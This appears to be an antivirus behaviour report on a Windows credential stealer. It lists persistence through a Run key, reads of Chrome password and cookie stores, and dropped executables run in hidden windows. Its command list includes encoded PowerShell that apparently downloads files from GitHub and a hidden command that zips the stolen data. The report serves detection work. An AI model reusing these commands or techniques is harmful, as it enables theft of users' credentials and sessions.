Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'winupd' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\winupd.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\winupd.exe
Malicious functions
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
Modifies file system
Creates the following files
- %TEMP%\port.exe
- %TEMP%\octalyn\autofill.txt
- %TEMP%\ow4gpix.db
- %TEMP%\hede5bs.db
- %TEMP%\eysdnqr.db
- %TEMP%\octalyn\history.txt
- %TEMP%\gdwgrb1.db-shm
- %TEMP%\gdwgrb1.db
- %TEMP%\evu5vtl.db-shm
- %TEMP%\evu5vtl.db
- %TEMP%\hkstxrk.db
- %TEMP%\octalyn\passwords.txt
- %TEMP%\octalyn\all_browsers_cookies.txt
- %TEMP%\afr0cu7.db
- %TEMP%\mtzajhk.db
- %TEMP%\octalyn\bookmarks.txt
- <Current directory>\Вў
- %TEMP%\octalyn\discord.txt
- %TEMP%\blsd_win64.exe
- %TEMP%\tg_64.exe
- %TEMP%\not64.exe
- %APPDATA%\winupd.exe
- %TEMP%\ps_suppressor.exe
- %TEMP%\netframe.exe
- %TEMP%\win64.exe
- %TEMP%\1wfdheq.db
- %LOCALAPPDATA%\google\chrome\user data\default\cookies.temp
Deletes the following files
- %TEMP%\afr0cu7.db
- %TEMP%\mtzajhk.db
- %TEMP%\1wfdheq.db
- %TEMP%\hkstxrk.db
- %TEMP%\evu5vtl.db
- %TEMP%\gdwgrb1.db
- %TEMP%\eysdnqr.db
- %TEMP%\hede5bs.db
- %TEMP%\ow4gpix.db
- %LOCALAPPDATA%\google\chrome\user data\default\cookies.temp
Network activity
Connects to
- 'ip##fo.io':80
- 'ap#.##legram.org':443
- 'gi##ub.com':443
TCP
HTTP GET requests
- http://ip##fo.io/json
Other
- 'ap#.##legram.org':443
- 'gi##ub.com':443
UDP
- DNS ASK ip##fo.io
- DNS ASK ap#.##legram.org
- DNS ASK gi##ub.com
Miscellaneous
Creates and executes the following
- '%TEMP%\port.exe'
- '%TEMP%\win64.exe'
- '%TEMP%\netframe.exe'
- '%TEMP%\ps_suppressor.exe'
- '%TEMP%\not64.exe'
- '%TEMP%\tg_64.exe'
- '%TEMP%\blsd_win64.exe'
Executes the following
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHMAbgBrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAcQBpACMAPgBbAFMAeQBzAHQAZQBtAC4A...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0A...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\Octalyn' -DestinationPath '%TEMP%\user_OctalynRetrieved.zip'"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "PAAjAHMAbgBrACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGUAcQBpACMAPgBbAFMAeQBzAHQAZQBtAC4A...' (with hidden window)
- '%TEMP%\port.exe' ' (with hidden window)
- '%TEMP%\win64.exe' ' (with hidden window)
- '%TEMP%\netframe.exe' ' (with hidden window)
- '%TEMP%\ps_suppressor.exe' ' (with hidden window)
- '%TEMP%\not64.exe' ' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0A...' (with hidden window)
- '%TEMP%\tg_64.exe' ' (with hidden window)
- '%TEMP%\blsd_win64.exe' ' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "Compress-Archive -Path '%TEMP%\Octalyn' -DestinationPath '%TEMP%\user_OctalynRetrieved.zip'"' (with hidden window)
